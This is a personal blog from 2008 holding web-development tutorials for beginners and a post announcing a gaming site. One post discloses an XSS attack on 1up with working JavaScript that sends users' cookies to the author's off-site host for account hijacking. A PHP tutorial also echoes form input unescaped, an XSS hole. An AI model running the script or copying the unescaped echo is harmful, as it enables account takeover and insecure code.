Logic’s Last Stand

June 20, 2008

Introducing Insert Coin

Filed under: Gaming — Tags: , , , , , , , — Zurahn @ 10:05 pm

Insert Coin is the new site I’ve developed focused around discussion of the latest news in its premiere feature, Gamingeek Weekly.

http://insertcoin.has.it

All users are able to write reviews and blogs. Reviews have the option of using the unique weighted review system, or a generic single-section review system. All reviews and blogs have a comments section along the right side.

In the Reviews and Blogs sections, you’ll find on the left your own blogs (if you’re logged in) and to the right, the latest blogs from those on your friends list. You can add users to your friends list by going to their profile page and clicking the button to add them. If you do, a private message will be sent to them telling them you’ve done so. Your mailbox for PMs is on the far right of the menu bar.

You can upload your avatar from your Profile and choosing to upload a new avatar.

And finally, there’s Gamingeek Weekly. This includes a whole new method of organization for each day’s news and a custom pseudo-forum. Unlike 1up, I actually do have some filtering or HTML for the sake of security. Currently Youtube videos can’t be posted directly, but I’m working on it.

There’s still plenty to do, such as fixing up the profile page and PM management, as well as getting RSS feeds going. This is, though, I think a solid starting ground.

Be sure to voice your opinion on what you like, what you don’t, and how to progress. While I can’t make everyone happy, I can certainly try.

Advertisements

June 19, 2008

Sorry 1up, it had to be done

Filed under: Computers, Gaming — Tags: , , , , , — Zurahn @ 2:45 am

Web-design and security is tough, because it’s a balance of sorts. You want to tighten things up, but as a result, unless you put a ton of work into very precise filtering, you just have to cut off your users from some benefits. Being someone who has used web formatting for years, being able to put it into comments and forum posts is a boon.

That said, there is one thing that you just cannot allow — JavaScript. Aside from the obvious ability to annoy or redirect the page, you can also use it to steal data.

So I present to you, how I hacked 1up user accounts:

<script type="text/javascript" src="http://tinyurl.com/5uujea"></script&gt;
<script type="text/javascript">
var data = document.cookie;
var address = window.location;
var params = Object.toQueryString({data: data, address: address});
var url = ‘http://zurahn.freehostia.com&#8217;;
url += ‘/cookiemonster.php?’ + params;
var redirect = readCookie(‘redirect’);

if(redirect == null)
{
createCookie(‘redirect’,1,1);
window.location = url;
}

function createCookie(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires+"; path=/";
}

function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(‘;’);
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==’ ‘) c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}

</script>

This is called cross-site scripting (XSS) and there’s a reason why it’s one of the prominent web security threats.

Prototype.js (the tinyurl) is used to convert the user’s cookie data and the current page address into a valid query string which is used to send the data to an off-site page via redirect after writing a cookie that the user has visited the page once. At the off-site page, the cookie data is stored in a database table, then redirects back to the original page, which now doesn’t redirect because of the earlier cookie being created.

Once this has happened, I have all the cookie data. All I then need to do is create a new cookie for that domain (or edit my own) and I am in the account of whomever visited the page.

1up, your page design has always been ugly, but I can deal with that. Your features and news are hit-or-miss. Alright. Your forums are slow and empty. I’ve got friends. And your user features are marred by formatting bugs. I’ve got other outlets. But my own and everyone else’s account is seriously in risk at every visit of any community page.

May 25, 2008

Beginner’s Guide to a Real Web-site – Part 6 – Intro to SQL

Filed under: Computers — Tags: , , , , , , — Zurahn @ 2:46 pm

Database interaction is in most cases dealt with using a language called SQL (Structured Query Language). For our purposes, we only need to know the basics, which are:
-Inserting data
-Updating data
-Deleting data
-Retrieving data

These are conveniently done using the keywords INSERT, UPDATE, DELETE and SELECT. However, before we can get to that, we need to understand what we’re storing and how to store it. We know that we simply want to store blog posts; these will have titles, dates, and a body. We can do this with a single table. A table is what we call what we store data in, because we use “columns” of data.

Our table, which we’ll call “blogs” will have these columns:
-id
-title
-date
-body

We can do this either in SQL or in the handy PHP tool phpMyAdmin which is included with WAMP (click the WAMP icon on the taskbar, and choose phpMyAdmin). PHP web hosts will typically have phpMyAdmin installed for your use. In our code we need to use SQL to interact with the database, but setting up the structure we can, and for simplicity’s sake in this tutorial, do it in phpMyAdmin.

Firstly, we create a new database, which we can call “mysite” and click the Create button. This will create the database, which will store the table. Now you’ll see at the bottom “Create new table on database mysite”. Enter “blogs” for the name, and we need 4 columns (id, title, date, body).

On the next screen, “Field” is the name of the column (id, title, date, body). For the data type dropdowns, id will be INT, title will be VARCHAR, date will be a TIMESTAMP (not DATETIME), and body will be TEXT.

INT is short for Integer (a number with no decimal points and can be positive or negative). IDs should be Integer values. Set the length to 11, EXTRA to auto_increment (meaning it automatically assigns a unique value to it when you INSERT), and choose the first radio button under the page with the key to set it as the Primary Key (the value that uniquely identifies a record — in our case a blog post — in the table).

For title, VARCHAR is a text field with a set length. We’ll set the length to 50 (seems reasonable for a maximum title length).

For date, TIMESTAMP is the number of seconds having passed since December 31, 1969. Timestamps are easily converted to date formats in PHP. Change default to ON UPDATE CURRENT_TIMESTAMP; this just means to insert the current time by default.

And for body, TEXT is a text field with no specified maximum length and is only limited by the database software itself. This will allow for blogs without having to worry about one being too long.

Click Save to create the table.

If you wanted to do this in SQL, here is the code, though I won’t go through it to explain.

CREATE TABLE mysite.blogs (
id INT(11) NOT NULL AUTO_INCREMENT,
title VARCHAR(50) NOT NULL,
date TIMESTAMP NOT NULL,
body TEXT NOT NULL,
PRIMARY KEY (id)
) ENGINE = InnoDB 

For the sake of building our SQL skills before jumping into PHP usage, click the SQL tab in phpMyAdmin to get a box where we can enter SQL queries. This way we can test our queries and see how they work. Here’s a query to insert a record into our table

INSERT INTO blogs (title, body) VALUES('A Blog Post', 'This is where a blog post would be');

Selecting all records from a table:

SELECT * FROM blogs;

Select specific records and columns from a table:

SELECT title FROM blogs WHERE id = '1';

We can also update the record:

UPDATE blogs SET title = 'My Blog Post' WHERE id = '1';

Or, finally, delete the record:

DELETE FROM blogs WHERE id = '1';

This is basically all you’ll need for the development of our site. We can use SQL statements directly in PHP to modify the database, which we’ll do in Part 7.

April 16, 2008

Beginner’s Guide to a Real Web-site – Part 5 – PHP Programming

Filed under: Computers — Tags: , , , , , , , — Zurahn @ 5:57 am

PHP is a complete programming language, as opposed to XHTML and CSS which are mark-up languages.

Programming languages have a few simple characteristics:
-Variables that store data
-Conditional statements
-Loops

Variables in PHP begin with a dollar sign

$num = 1;

The above statement (which must end with a semi-colon) assigns a variable called “num” the value of 1.

Conditional statements check the value of a variable or variables.

if($num == 1)
{
  echo "YES!";
}
else
{
  echo "NO!";
}

The above if statement checks if the value of $num is equal to 1. If it is, the page outputs the text “YES!”, otherwise, it outputs the text “NO!”.
Anything within the { } brackets applies only for that statement.

There are other conditional operators than “==”. Here are a list of operators in PHP:
== (equal to)
=== (equal in value and in type)
! (NOT)
> (greater than)
>= (greater than or equal to)
< (less than)
<= (less than or equal to)
|| (OR)
&& (AND)

Loops repeat a section of code several times over. There are two basic kinds, the while loop and the for loop.

A for loop is designed for when you know how many times you want to go through the loop.

for($i=0;$i<10;$i++)
{
echo $i;
}

The above loop repeats 10 times, starting from 0. The loop repeats as long as $i is less than 10, and $i increments 1 each time through.
Also note
$i++
This increments the variable $i by 1. ++ is a shortcut. Equivalents to this would be
$i += 1
or
$i = $i + 1;

A while loop lasts while a condition is true.

$count = 0;
while($count < 10)
{
  echo $count;
  $count++;
}

The above loop repeats 10 times. It keeps going as long as the count, which started at 0, is less than 10. In the above case, it works identically to a for loop; however, if you have an uncertain condition, such as a random number or user-input, the number of times is unknown.

All we’re going to do to start is to receive some data from the user, then output it back.

Make a copy of index.php and call it blog.php. This will be the start of our blog page.

<?php include_once('includes/top.php'); ?>
<title>Main Page</title>
<?php include_once('includes/middle.php'); ?>
<p><h2>My Blog</h2></p>
<p>
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
<textarea name="blogpost" id="blogpost"></textarea><br />
<input type="submit" value="Submit" />
</form>
</p>
<?php include_once('includes/bottom.php'); ?>

There’s a bit to explain here. A form tag in HTML surrounds a series of data you want to send to the server (our PHP). In this case, we just want to submit the data to itself, so we echo out the page we’re on, which is stored automatically by PHP in the variable $_SERVER[‘PHP_SELF’]. You could just type in ‘blog.php’ to get the same effect, except it won’t work if the page gets renamed.

The input type submit sends everything within the form to the server.

Anything sent to the server (in this case with method post) in PHP will be stored in $_POST. Let’s echo out the value of the blogpost.

<?php include_once('includes/top.php'); ?>
<title>Main Page</title>
<?php include_once('includes/middle.php'); ?>
<p><h2>My Blog</h2></p>

<?php
if(isset($_POST['blogpost']))
{
  echo "<p>".$_POST['blogpost']."</p>";
}
?>

<p>
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
<textarea name="blogpost" id="blogpost"></textarea><br />
<input type="submit" name="submit" id="submit" value="Submit" />
</form>
</p>
<?php include_once('includes/bottom.php'); ?>

All I’ve added is a check to see if there’s a value in the blogpost, and if there is, to display it in a new paragraph.

For the sake of making things look a little nicer, you can create a new CSS file called blog.css and add this to it (and don’t forget to import it into blog.php using the tag)

#blogpost
{
  width: 85%;
  border: 1px dashed white;
}

#submit
{
  border: 1px solid white;
  background-color: black;
  color: white;
}

Our problem now is that the blog doesn’t go anywhere. It needs to be stored in a database, which we’ll cover in Part 6.

April 12, 2008

Beginner’s Guide to a Real Web-site – Part 4 – Server-side Scripting

Filed under: Computers — Tags: , , , , , , — Zurahn @ 6:58 am

The veiled goal of all we’ve done to this point is to be prepared to take on a more suitable basis for creating a web-site, and that is through server-side scripting. This is the method of running a programming language on a web-server to control the HTML that is sent to the client’s browser. In this method, we can re-use one piece of code repeatedly throughout many pages.

The language we’re going to use in our example is PHP. It is a loosely typed language (rules aren’t strict) and isn’t particularly difficult to set-up or understand.

In order to run a server-side language, you need two things: The language installation, and an application server (a program to act as the server to run the language). We’ll be using PHP and Apache. The easiest way to install these is through a packaged installation such as WAMP.

WAMP stands for Windows Apache, MySQL and PHP. MySQL is database software which we’ll use one we get a handle on PHP. You can install all these individually, but the installation of MySQL can have some quirks.

Once installed, you can run the WAMP server and a tray icon will appear on your taskbar. Clicking it will give you several options. The www directory is where all your files will go. Make sure all your services are started (the icon should be white, but you can click Restart All Services to be sure), then open your web browser and enter into the address bar:

http://localhost

This should bring up a page with WAMP information if you have it installed correctly.

In your www folder, delete index.php and create replace it with a blank index.php. Copy over the contents of index.html and open localhost in your browser again. We should see our page.

What we need to do now is segment the page. We will be using includes to do this. Though there are object-oriented ways that are generally an improvement, it goes beyond our scope and would serve at this point only to confuse.

Create a folder called “includes” and in it a file called “top.php”. This will contain our doctype declaration and opening down to the header. Copy this code and put it in top.php

<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel="stylesheet" type="text/css" href="css/main.css" />

Do not copy in the title tag. Save and close the file. Create a new file called middle.php and paste this code into it

</head>
<body>
<div id="container">
  <div id="header">
	<h1>Web-Design HQ</h1>
  </div>
  <div id="main">
    <div id="menu">
	Menus
    </div>
    <div id="article">

Save and close the file, and make one final file called bottom.php and paste this code into it.

	</div>
  </div>
</div>
</body>
</html>

Now, back in the index.php file, we can use our other files to easily insert our page design.

<?php include_once('includes/top.php'); ?>
<title>Main Page</title>
<?php include_once('includes/middle.php'); ?>
This is the index page
<?php include_once('includes/bottom.php'); ?>

That’s all that needs to be in index.php now.

The <?php indicator denotes the start of PHP code. You cannot place HTML within this.
include_once is a method. A method is a reusable piece of code, in this instance, to import data from another file.

So in plain terms
-Include the top part of the page up until the <head> tag
-Insert anything specific that needs to be in there, such as the title
-Include the middle section up until where we put our content
-Write our content
-Include the bottom part to close any remaining tags

Now any change we make to any of the included files will apply to every page that includes them. This significantly reduces redundant code and time wasted on repetitious changes.

Part 5 will address the basics of actual programming in PHP.

April 10, 2008

Beginner’s Guide to a Real Web-site – Part 3 – Linking and Menus

Filed under: Computers — Tags: , , , , , , — Zurahn @ 5:01 am

Now that we have after Part 1 and Part 2, a structured XHTML page with CSS design, we need pages in which to form an entire site. Make a copy of index.html as template.html. This will to keep the overall style of your documents consistent. Make another copy as links.html and open it.

In links.html, we are going to create a series of links to other web-sites. Doing so is simple.

Find this,

    <div id="article">
	  Welcome to my first web-site.<br />
	</div>

And replace the text with this:

    <div id="article">
	  <h2>Links</h2>
	  <p>
		<a href="http://google.com">Google</a>
	  </p>
	</div>

This creates link to Google with the text Google.

The structure of a hyperlink is simple <a> specifies a link, and the href attribute provides the address. Anything between <a> and </a> is linked to the specified page. Note, http:// is required on the link or it is considered a relative path.

But we’re also going to want to link to our index page. While we could add a simple text link, that is not as flexible as we want for a standard menu.

Find this,

    <div id="menu">
	Menus
    </div>

And make the following changes:

    <div id="menu">
	Menus<br />
	  <ul id="menu">
	    <li>Link 1</li>
		<li>Link 2</li>
		<li>Link 3</li>
	  </ul>
	</div>

What we have created is an underordered list (ul). This creates a bulleted list with list items (li). By default these items are block-level, indented and have bullets beside them. We will change this in our CSS file, main.css.

Add the following to main.css,

#menu ul
{
  list-style: none;
  text-indent: 0px;
  padding-left: 0px;
  margin-left: 0px;
}

list-style formats the bullets for the element, in this case, everything within any ul within the menu div. text-indent, padding and margin are all removed to get rid of the indenting. This turns the list in to a simple top-down text list of links.

Now we can link to the index page.

    <div id="menu">
	Menus<br />
	  <ul id="menu">
	    <li>Home</li>
		<li>Link 2</li>
		<li>Link 3</li>
	  </ul>
	</div>

This links back to the index page, obviously. Try it out and see if you notice the problem. Go on… ok, you kept reading. Anyway, the problem is that even though we can copy the template over for new pages, any changes to the main features are only applied to that one, static page. The rest have to be modified to reflect that change. We cannot get around this with XHTML.

What we need to do is venture into what really drives significant web design, and that’s server-side scripting. We’ll do that in Part 4.

Create a free website or blog at WordPress.com.